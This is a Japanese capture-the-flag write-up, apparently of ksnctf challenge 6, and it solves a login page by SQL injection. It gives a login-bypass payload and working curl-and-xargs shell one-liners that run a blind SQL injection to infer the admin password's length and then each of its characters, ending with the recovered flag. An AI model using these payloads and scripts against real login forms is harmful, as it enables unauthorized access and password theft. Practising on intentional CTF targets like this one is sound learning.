~ksnctfを解いてみる~ #6 Login

ksnctfの6問目(順不同で目についたの適当に解いてる)。 Webのログインページからログインする問題のようだ。

とりあえずSQLインジェクションっぽいので、指示通りユーザにadminを指定してお約束的にSQLインジェクションをパスワードのとこに入力。

```
' or '1' = '1';--
```

ログイン時のsqlインジェクションをcurlでやった場合はこんな感じ。

curl -X POST http://ctfq.sweetduet.info:10080/~q6/ -d "id=admin" -d "pass=' or 'a'='a';--"

ログインすると、以下のような出力がされる。 どうやら単にSQLインジェクションでログインするだけだとだめで、adminのパスワードを取得する必要があるらしい。

どっかしらにテーブル出力する箇所があるなら、そこからSQLインジェクションするのかなー…(´・ω・`)。と素人考えで調べてたところ、他の方のWriteUpを見ると ブラインドSQLインジェクションというやり方が有効なようだ。 イメージ的には、SQLインジェクションの脆弱性のある箇所を利用して、そこからまず文字数を推測、次に各文字を1個ずつ総当たりで推測していくというやり方のようだ。

とりあえず、まずはパスワードの文字数を推測する。 成功時のみ出力される行数が多いハズなので、headで一番多い出力だった文字数のみを抽出。

seq 10 30|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND  (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = @ --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1
blacknon@BS-PUB-UBUNTU-01:~$ seq 10 30|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND  (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = @ --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1
21

どうやらパスワードの文字数は21らしい。 パスワードの文字数を推測できたら、左が順にパスワードの文字を総当たりで推測する。 コード書くの面倒なので、ここもシェル芸でガガッとやってしまう。

for i in {1..21};do echo {{0..9},{a..z},{A..Z},_}|fmt -1|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '@' --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1;done|xargs|tr -d ' '
blacknon@BS-PUB-UBUNTU-01:~$ for i in {1..21};do echo {{0..9},{a..z},{A..Z},_}|fmt -1|xargs -I@ bash -c "printf '%s ' @;curl -s -X POST http://ctfq.sweetduet.info:10080/~q6/ -d \"id=admin' AND SUBSTR((SELECT pass FROM user WHERE id = 'admin'),"$i",1) = '@' --\" -d \"pass=aaaa\"|wc -l"|sort -k2nr|head -1|cut -d' ' -f1;done|xargs|tr -d ' '
FLAG_KpWa4ji3uZk6TrPK

これでFLAGが取れた。